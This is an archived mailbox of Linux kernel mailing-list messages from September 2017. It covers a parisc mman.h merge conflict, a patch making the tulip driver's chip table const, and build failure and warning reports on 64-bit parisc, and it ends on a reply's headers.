>> @@@ -57,9 -60,9 +57,12 @@@
>>   					   overrides the coredump filter bits */
>>   #define MADV_DODUMP	70		/* Clear the MADV_NODUMP flag */
>>   
>> + #define MADV_WIPEONFORK 71		/* Zero memory on fork, child only */
>> + #define MADV_KEEPONFORK 72		/* Undo MADV_WIPEONFORK */
>> + 
>>  +#define MADV_HWPOISON     100		/* poison a page for testing */
>>  +#define MADV_SOFT_OFFLINE 101		/* soft offline page for testing */
>>  +
>>   /* compatibility flags */
>>   #define MAP_FILE	0
>>   #define MAP_VARIABLE	0
> 
> Just a reminder that the above conflict still exists.

Thanks Stephen!

@Andrew, I can push the addition of those two MADV_ constants to 
arch/parisc/include/uapi/asm/mman.h through the parisc git tree, 
if you drop this part from your patchset.
Otherwise, just let me know how you prefer to solve this merge conflict. 

Helge


From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: linux-next: manual merge of the akpm-current tree with the
 parisc-hd tree
Date: Tue, 5 Sep 2017 16:58:47 +1000
Lines: 39
Approved: news@gmane.org
Message-ID: <20170905165847.19a7effa@canb.auug.org.au>
References: <20170822165318.77e3e0ca@canb.auug.org.au>
        <20170905103448.6dfb93eb@canb.auug.org.au>
        <bd74906d-c4a2-5ea5-ae4c-dba4cc5ac77f@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1504594756 11063 195.159.176.226 (5 Sep 2017 06:59:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 5 Sep 2017 06:59:16 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Rik van Riel <riel@redhat.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 05 08:59:01 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dp7ox-0001Kt-KG
	for glk-linux-kernel-3@m.gmane.org; Tue, 05 Sep 2017 08:58:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751091AbdIEG65 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 5 Sep 2017 02:58:57 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:41061 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750902AbdIEG6w (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 5 Sep 2017 02:58:52 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3xmcxz72Gzz9sNc;
        Tue,  5 Sep 2017 16:58:47 +1000 (AEST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=canb.auug.org.au;
        s=201702; t=1504594729;
        bh=Av8jKuDywqzC2OltCKicpXlHiic0lfVhY7pkdR59mbs=;
        h=Date:From:To:Cc:Subject:In-Reply-To:References:From;
        b=ZMNedLXgGs4NUhGq3NAvVh+hYtTR1GZnW7mVbk8ChRriudVTWkebip9CX0L2MXmzh
         vxH8KkVdXKNpNfBLrsNeDCAV7DP9A7YwrIdyATf7+FiGtuVJEjmgMQp33+oQTQ4AMr
         W1LXaf8qARkX0gIvXULu1TQ0D1xupHqSJFeltzdlSHrTSUDPbDuDvhiaNwQstUjzuQ
         ARTk3UWaQtdX5F99VyVbiZvzmUoseQaTYX+I/2rJPGc6kviPS+FU8NcMFPPbiTaO/Q
         6c55378KFtCtARF/h7WYMWMJLcuboVvChYbV2a34g0OQ3vIAR8RYxEcG56IL3jRKCs
         0R1HMZP60pPgw==
In-Reply-To: <bd74906d-c4a2-5ea5-ae4c-dba4cc5ac77f@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2564121 gmane.linux.ports.parisc:27787 gmane.linux.kernel.next:43660
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2564121>

Hi Helge,

On Tue, 5 Sep 2017 08:09:01 +0200 Helge Deller <deller@gmx.de> wrote:
>
> >> diff --cc arch/parisc/include/uapi/asm/mman.h
> >> index 9a9c2fe4be50,f6eec376e5fa..000000000000
> >> --- a/arch/parisc/include/uapi/asm/mman.h
> >> +++ b/arch/parisc/include/uapi/asm/mman.h
> >> @@@ -57,9 -60,9 +57,12 @@@
> >>   					   overrides the coredump filter bits */
> >>   #define MADV_DODUMP	70		/* Clear the MADV_NODUMP flag */
> >>   
> >> + #define MADV_WIPEONFORK 71		/* Zero memory on fork, child only */
> >> + #define MADV_KEEPONFORK 72		/* Undo MADV_WIPEONFORK */
> >> + 
> >>  +#define MADV_HWPOISON     100		/* poison a page for testing */
> >>  +#define MADV_SOFT_OFFLINE 101		/* soft offline page for testing */
> >>  +
> >>   /* compatibility flags */
> >>   #define MAP_FILE	0
> >>   #define MAP_VARIABLE	0  
> > 
> > Just a reminder that the above conflict still exists.  
> 
> Thanks Stephen!
> 
> @Andrew, I can push the addition of those two MADV_ constants to 
> arch/parisc/include/uapi/asm/mman.h through the parisc git tree, 
> if you drop this part from your patchset.
> Otherwise, just let me know how you prefer to solve this merge conflict. 

These simple conflicts are not really a problem (Linus is happy to cope
with them).  I just send these messages out for consistency and
openness.

-- 
Cheers,
Stephen Rothwell


From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: [PATCH] net: tulip: Constify tulip_tbl
Date: Thu, 7 Sep 2017 12:35:14 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <20170907193514.GA114400@beast>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1504812932 26797 195.159.176.226 (7 Sep 2017 19:35:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 7 Sep 2017 19:35:32 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
        Jarod Wilson <jarod@redhat.com>,
        "Gustavo A. R. Silva" <gustavo@embeddedor.com>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 07 21:35:17 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dq2Zy-0006XG-Q0
	for glpp-linux-parisc@m.gmane.org; Thu, 07 Sep 2017 21:35:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755684AbdIGTfR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 7 Sep 2017 15:35:17 -0400
Original-Received: from mail-pf0-f175.google.com ([209.85.192.175]:36167 "EHLO
        mail-pf0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755583AbdIGTfQ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 7 Sep 2017 15:35:16 -0400
Original-Received: by mail-pf0-f175.google.com with SMTP id e199so994014pfh.3
        for <linux-parisc@vger.kernel.org>; Thu, 07 Sep 2017 12:35:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition;
        bh=A3eeeBrmttbXX77QlK6RdeFOrlFr5YJTyzSXrXhtdEM=;
        b=mDLV5suJln1pnBtzkyGYKzXMr+9LgIn3n+WMYnY33i9D9KClMuJ06XwTEy+rq8JuNC
         wk5+Sqaze5l3sxamX8vqwInFFL8/8UQO/hXzJdx3rz++lCmfDsdvRz+Gd1w9jNAy9Cma
         oPNofnxqTgnFU4FLKuXaKDMgvTWbgiP1w+2R0=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition;
        bh=A3eeeBrmttbXX77QlK6RdeFOrlFr5YJTyzSXrXhtdEM=;
        b=CnUYfbx3a8wWyjLw9I7DjPCtxDTpeTMM8/wlaCoyaS20jvuFgRviSTb8dgwA1qbJkx
         gJAcS1f+FX7DPgdsX+gELMQmvTWM95zCwjlccW8W40QqGG8Ts3XwSuPzPecdERaLvRjy
         VMJpN6ApsI+NA2fGjBv8Bi5DxG8SzVb5rMmP/Vb1Gq+SZvYBaNzeSEaegvGQWmarSvRh
         YDMCsH89W8BcItGhDXyntR7KcRxO8u8KRbi2bKTekUP73/zq+sp1esc7da3ThEE3Fbcx
         zoq55Z/aByKFV6QqKikqCMbJ5QRe+5yxOZidKynbqQSnYwkgzhXe93dNo3oQTL2GOU6Z
         /VmA==
X-Gm-Message-State: AHPjjUgV5rNrlpsZO95CgHiB2JWquJXeCeKxn7iuO2AvkVthK3ACVAYn
        +Zb1jv1LQZykDSQb
X-Google-Smtp-Source: ADKCNb7bPUlIDMU3EXxp/wTfoSFNXTU7aUproUuxcadC0Eq5g2o8WWP2JJHsgYVmAaVf1YGGDbZx3A==
X-Received: by 10.101.85.4 with SMTP id f4mr497506pgr.10.1504812916218;
        Thu, 07 Sep 2017 12:35:16 -0700 (PDT)
Original-Received: from www.outflux.net (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
        by smtp.gmail.com with ESMTPSA id r12sm492373pfd.187.2017.09.07.12.35.15
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 07 Sep 2017 12:35:15 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27788 gmane.linux.network:490119 gmane.linux.kernel:2566245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27788>

It looks like all users of tulip_tbl are reads, so mark this table
as read-only.

$ git grep tulip_tbl  # edited to avoid line-wraps...
interrupt.c: iowrite32(tulip_tbl[tp->chip_id].valid_intrs, ...
interrupt.c: iowrite32(tulip_tbl[tp->chip_id].valid_intrs&~RxPollInt, ...
interrupt.c: iowrite32(tulip_tbl[tp->chip_id].valid_intrs, ...
interrupt.c: iowrite32(tulip_tbl[tp->chip_id].valid_intrs | TimerInt,
pnic.c:      iowrite32(tulip_tbl[tp->chip_id].valid_intrs, ioaddr + CSR7);
tulip.h:     extern struct tulip_chip_table tulip_tbl[];
tulip_core.c:struct tulip_chip_table tulip_tbl[] = {
tulip_core.c:iowrite32(tulip_tbl[tp->chip_id].valid_intrs, ioaddr + CSR5);
tulip_core.c:iowrite32(tulip_tbl[tp->chip_id].valid_intrs, ioaddr + CSR7);
tulip_core.c:setup_timer(&tp->timer, tulip_tbl[tp->chip_id].media_timer,
tulip_core.c:const char *chip_name = tulip_tbl[chip_idx].chip_name;
tulip_core.c:if (pci_resource_len (pdev, 0) < tulip_tbl[chip_idx].io_size)
tulip_core.c:ioaddr =  pci_iomap(..., tulip_tbl[chip_idx].io_size);
tulip_core.c:tp->flags = tulip_tbl[chip_idx].flags;
tulip_core.c:setup_timer(&tp->timer, tulip_tbl[tp->chip_id].media_timer,
tulip_core.c:INIT_WORK(&tp->media_work, tulip_tbl[tp->chip_id].media_task);

Cc: "David S. Miller" <davem@davemloft.net>
Cc: Jarod Wilson <jarod@redhat.com>
Cc: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Cc: netdev@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Kees Cook <keescook@chromium.org>
---
 drivers/net/ethernet/dec/tulip/tulip.h      | 2 +-
 drivers/net/ethernet/dec/tulip/tulip_core.c | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/tulip.h b/drivers/net/ethernet/dec/tulip/tulip.h
index 38431a155f09..06660dbc44b7 100644
--- a/drivers/net/ethernet/dec/tulip/tulip.h
+++ b/drivers/net/ethernet/dec/tulip/tulip.h
@@ -515,7 +515,7 @@ void comet_timer(unsigned long data);
 extern int tulip_debug;
 extern const char * const medianame[];
 extern const char tulip_media_cap[];
-extern struct tulip_chip_table tulip_tbl[];
+extern const struct tulip_chip_table tulip_tbl[];
 void oom_timer(unsigned long data);
 extern u8 t21040_csr13[];
 
diff --git a/drivers/net/ethernet/dec/tulip/tulip_core.c b/drivers/net/ethernet/dec/tulip/tulip_core.c
index 84394b43c0a1..851b6d1f5a42 100644
--- a/drivers/net/ethernet/dec/tulip/tulip_core.c
+++ b/drivers/net/ethernet/dec/tulip/tulip_core.c
@@ -138,7 +138,7 @@ static void tulip_timer(unsigned long data)
  * It is indexed via the values in 'enum chips'
  */
 
-struct tulip_chip_table tulip_tbl[] = {
+const struct tulip_chip_table tulip_tbl[] = {
   { }, /* placeholder for array, slot unused currently */
   { }, /* placeholder for array, slot unused currently */
 
-- 
2.7.4


-- 
Kees Cook
Pixel Security
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] net: tulip: Constify tulip_tbl
Date: Fri, 08 Sep 2017 20:54:12 -0700 (PDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <20170908.205412.2183497152163393093.davem@davemloft.net>
References: <20170907193514.GA114400@beast>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1504929267 22491 195.159.176.226 (9 Sep 2017 03:54:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 9 Sep 2017 03:54:27 +0000 (UTC)
Cc: netdev@vger.kernel.org, jarod@redhat.com, gustavo@embeddedor.com,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: keescook@chromium.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 09 05:54:22 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dqWqP-0004za-R5
	for glk-linux-kernel-3@m.gmane.org; Sat, 09 Sep 2017 05:54:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1757439AbdIIDyP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 8 Sep 2017 23:54:15 -0400
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:42990 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753213AbdIIDyN (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 8 Sep 2017 23:54:13 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
        (using TLSv1 with cipher AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id B30AF136D588E;
        Fri,  8 Sep 2017 20:54:12 -0700 (PDT)
In-Reply-To: <20170907193514.GA114400@beast>
X-Mailer: Mew version 6.7 on Emacs 25.2 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Fri, 08 Sep 2017 20:54:13 -0700 (PDT)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2567264 gmane.linux.network:490400 gmane.linux.ports.parisc:27789
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2567264>

From: Kees Cook <keescook@chromium.org>
Date: Thu, 7 Sep 2017 12:35:14 -0700

> It looks like all users of tulip_tbl are reads, so mark this table
> as read-only.
> 
> $ git grep tulip_tbl  # edited to avoid line-wraps...
> interrupt.c: iowrite32(tulip_tbl[tp->chip_id].valid_intrs, ...
> interrupt.c: iowrite32(tulip_tbl[tp->chip_id].valid_intrs&~RxPollInt, ...
> interrupt.c: iowrite32(tulip_tbl[tp->chip_id].valid_intrs, ...
> interrupt.c: iowrite32(tulip_tbl[tp->chip_id].valid_intrs | TimerInt,
> pnic.c:      iowrite32(tulip_tbl[tp->chip_id].valid_intrs, ioaddr + CSR7);
> tulip.h:     extern struct tulip_chip_table tulip_tbl[];
> tulip_core.c:struct tulip_chip_table tulip_tbl[] = {
> tulip_core.c:iowrite32(tulip_tbl[tp->chip_id].valid_intrs, ioaddr + CSR5);
> tulip_core.c:iowrite32(tulip_tbl[tp->chip_id].valid_intrs, ioaddr + CSR7);
> tulip_core.c:setup_timer(&tp->timer, tulip_tbl[tp->chip_id].media_timer,
> tulip_core.c:const char *chip_name = tulip_tbl[chip_idx].chip_name;
> tulip_core.c:if (pci_resource_len (pdev, 0) < tulip_tbl[chip_idx].io_size)
> tulip_core.c:ioaddr =  pci_iomap(..., tulip_tbl[chip_idx].io_size);
> tulip_core.c:tp->flags = tulip_tbl[chip_idx].flags;
> tulip_core.c:setup_timer(&tp->timer, tulip_tbl[tp->chip_id].media_timer,
> tulip_core.c:INIT_WORK(&tp->media_work, tulip_tbl[tp->chip_id].media_task);
> 
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: Jarod Wilson <jarod@redhat.com>
> Cc: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
> Cc: netdev@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Signed-off-by: Kees Cook <keescook@chromium.org>

Applied.


From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: 4.14 git: massive linker failures: cannot reach anything
Date: Mon, 11 Sep 2017 17:17:24 +0300 (EEST)
Lines: 53
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.21.1709111713220.23935@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1505139462 17388 195.159.176.226 (11 Sep 2017 14:17:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Sep 2017 14:17:42 +0000 (UTC)
User-Agent: Alpine 2.21 (LRH 202 2017-01-01)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 11 16:17:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1drPWb-0007u4-NU
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Sep 2017 16:17:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750988AbdIKOR3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Sep 2017 10:17:29 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:44298 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750966AbdIKOR2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Sep 2017 10:17:28 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id E9B60900E3
        for <linux-parisc@vger.kernel.org>; Mon, 11 Sep 2017 17:17:26 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id D80BE221A21; Mon, 11 Sep 2017 17:17:24 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id E07C5221823
        for <linux-parisc@vger.kernel.org>; Mon, 11 Sep 2017 17:17:24 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27790
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27790>

While compiling 4.13+git on all of my gentoo parisc machines, I get tons 
of linking failures like below. 

$ ld -v
GNU ld (Gentoo 2.26.1 p1.0) 2.26.1

$ hppa64-linux-gcc -v
Using built-in specs.
COLLECT_GCC=/usr/hppa2.0-unknown-linux-gnu/hppa64-unknown-linux-gnu/gcc-bin/5.4.0/hppa64-unknown-linux-gnu-gcc
COLLECT_LTO_WRAPPER=/usr/libexec/gcc/hppa64-unknown-linux-gnu/5.4.0/lto-wrapper
Target: hppa64-unknown-linux-gnu
Configured with: 
/var/tmp/portage/sys-devel/kgcc64-5.4.0/work/gcc-5.4.0/configure 
--host=hppa2.0-unknown-linux-gnu --target=hppa64-unknown-linux-gnu 
--build=hppa2.0-unknown-linux-gnu --prefix=/usr 
--bindir=/usr/hppa2.0-unknown-linux-gnu/hppa64-unknown-linux-gnu/gcc-bin/5.4.0 
--includedir=/usr/lib/gcc/hppa64-unknown-linux-gnu/5.4.0/include 
--datadir=/usr/share/gcc-data/hppa64-unknown-linux-gnu/5.4.0 
--mandir=/usr/share/gcc-data/hppa64-unknown-linux-gnu/5.4.0/man 
--infodir=/usr/share/gcc-data/hppa64-unknown-linux-gnu/5.4.0/info 
--with-gxx-include-dir=/usr/lib/gcc/hppa64-unknown-linux-gnu/5.4.0/include/g++-v5 
--with-python-dir=/share/gcc-data/hppa64-unknown-linux-gnu/5.4.0/python 
--enable-languages=c --enable-obsolete --enable-secureplt 
--disable-werror --with-system-zlib --enable-nls 
--without-included-gettext --enable-checking=release 
--with-bugurl=https://bugs.gentoo.org/ --with-pkgversion='Gentoo 5.4.0 p1.0' 
--enable-poison-system-directories --disable-shared 
--disable-libatomic --disable-threads --without-headers 
--disable-bootstrap --enable-__cxa_atexit --enable-clocale=gnu 
--disable-multilib --disable-altivec --disable-fixed-point 
--disable-libgcj --disable-libgomp --disable-libmudflap --disable-libssp 
--disable-libquadmath --enable-lto --without-isl --disable-libsanitizer
Thread model: single
gcc version 5.4.0 (Gentoo 5.4.0 p1.0)

hppa64-linux-ld: init/main.o(.text+0x160): cannot reach strreplace
init/main.o: In function `initcall_blacklisted':(.text+0x160): relocation truncated to fit: R_PARISC_PCREL22F against symbol `strreplace' defined in .text.strreplace section in lib/string.o
hppa64-linux-ld: init/main.o(.text+0x1a4): cannot reach strcmp
init/main.o: In function `initcall_blacklisted':(.text+0x1a4): relocation truncated to fit: R_PARISC_PCREL22F against symbol `strcmp' defined in .text.strcmp section in lib/string.o
hppa64-linux-ld: init/main.o(.text+0x22c): cannot reach __ubsan_handle_type_mismatch
init/main.o: In function `initcall_blacklisted':(.text+0x22c): relocation truncated to fit: R_PARISC_PCREL22F against symbol `__ubsan_handle_type_mismatch' defined in .text.__ubsan_handle_type_mismatch section in lib/ubsan.o

and so on for pages, more than my terminal scrollback provides.



-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: fs/select.c:991:1: warning: the frame size of 1032 bytes is larger
 than 1024 bytes
Date: Mon, 11 Sep 2017 17:22:02 +0300 (EEST)
Lines: 14
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.21.1709111719310.23935@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1505139756 32271 195.159.176.226 (11 Sep 2017 14:22:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Sep 2017 14:22:36 +0000 (UTC)
User-Agent: Alpine 2.21 (LRH 202 2017-01-01)
To: linux-parisc@vger.kernel.org,
        Linux Kernel list <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 11 16:22:25 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1drPb7-0006y6-Vv
	for glk-linux-kernel-3@m.gmane.org; Mon, 11 Sep 2017 16:22:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751897AbdIKOWH (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 11 Sep 2017 10:22:07 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:45818 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750953AbdIKOWF (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 11 Sep 2017 10:22:05 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 51C2D900D1;
        Mon, 11 Sep 2017 17:22:04 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 41243221A21; Mon, 11 Sep 2017 17:22:02 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 46112221823;
        Mon, 11 Sep 2017 17:22:02 +0300 (EEST)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2568209 gmane.linux.ports.parisc:27791
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2568209>

While looking for build logs for another problem, I noticed two warnings 
while compiling for 64-bit parisc.

This is the second of them and I think I have seen it earlier too, but 
the value was 1064 back then:

  CC      fs/select.o
fs/select.c: In function 'do_sys_poll':
fs/select.c:991:1: warning: the frame size of 1032 bytes is larger than 1024 bytes [-Wframe-larger-than=]


-- 
Meelis Roos (mroos@linux.ee)


From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 4.14 git: massive linker failures: cannot reach anything
Date: Mon, 11 Sep 2017 10:24:52 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <bd823006-04ae-0af3-30fb-10989a9729cc@bell.net>
References: <alpine.LRH.2.21.1709111713220.23935@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1505139906 23394 195.159.176.226 (11 Sep 2017 14:25:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Sep 2017 14:25:06 +0000 (UTC)
